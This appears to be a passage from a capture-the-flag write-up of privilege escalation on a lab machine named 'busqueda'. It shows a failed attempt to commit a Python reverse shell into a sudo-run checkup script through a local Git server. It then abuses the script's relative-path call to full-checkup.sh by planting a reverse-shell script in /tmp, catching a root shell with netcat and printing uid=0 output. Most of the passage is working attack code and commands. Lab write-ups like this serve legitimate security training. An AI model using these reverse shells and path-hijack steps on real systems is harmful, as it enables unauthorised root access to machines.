-rwxr-xr-x 1 blnkn blnkn 3346 May 1 16:15 install-flask.sh
-rwxr-xr-x 1 blnkn blnkn 1903 May 1 16:15 system-checkup.py
git log --oneline
b9a29dc (HEAD -> main, origin/main, origin/HEAD) Initial commit
git branch -al
* main
remotes/origin/HEAD -> origin/main
remotes/origin/main
Making a quick commit
git add -u
git commit -m "Make it pwnable"
[main 530309c] Make it pwnable
1 file changed, 12 insertions(+), 1 deletion(-)
git diff origin/main
diff --git a/system-checkup.py b/system-checkup.py
index 5e20399..01cf441 100755
--- a/system-checkup.py
+++ b/system-checkup.py
@@ -1,8 +1,10 @@
#!/bin/bash
import subprocess
import sys
+import socket
+import os
-actions = ['full-checkup', 'docker-ps','docker-inspect']
+actions = ['full-checkup', 'docker-ps', 'docker-inspect', 'pwn-me']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
@@ -15,6 +17,15 @@ def run_command(arg_list):
def process_action(action):
+
+ if action == 'pwn-me':
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.connect(("10.10.14.39",4000))
+ os.dup2(s.fileno(),0)
+ os.dup2(s.fileno(),1)
+ os.dup2(s.fileno(),2)
+ pty.spawn("sh")
+
if action == 'docker-inspect':
try:
_format = sys.argv[2]
proxychains -q git push --force
Username for 'http://127.0.0.1:3000': administrator
Password for 'http://administrator@127.0.0.1:3000':
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 473 bytes | 473.00 KiB/s, done.
Total 3 (delta 2), reused 1 (delta 0), pack-reused 0
error: remote unpack failed: unable to create temporary object directory
To http://127.0.0.1:3000/administrator/scripts.git
! [remote rejected] main -> main (unpacker error)
error: failed to push some refs to 'http://127.0.0.1:3000/administrator/scripts.git'
😥 back to the drawing board
git reset --hard origin/main
HEAD is now at b9a29dc Initial commit
Looking at the full-checkup thing, the issue is quite obvious
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
All that’s left to do is to drop a reverse shell
And run the sudo line from the current directory
svc@busqueda:~$ vim /tmp/pwn.py
svc@busqueda:~$ chmod +x /tmp/pwn.py
svc@busqueda:~$ cat /tmp/pwn.py
#!/usr/bin/python3
import socket
import subprocess
import os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.207",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
It took me way to long to figure this one out
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
But we finally got there
rlwrap nc -lvnp 4000
listening on [any] 4000 ...
connect to [10.10.14.207] from (UNKNOWN) [10.10.11.208] 38290
# id
id
uid=0(root) gid=0(root) groups=0(root)
#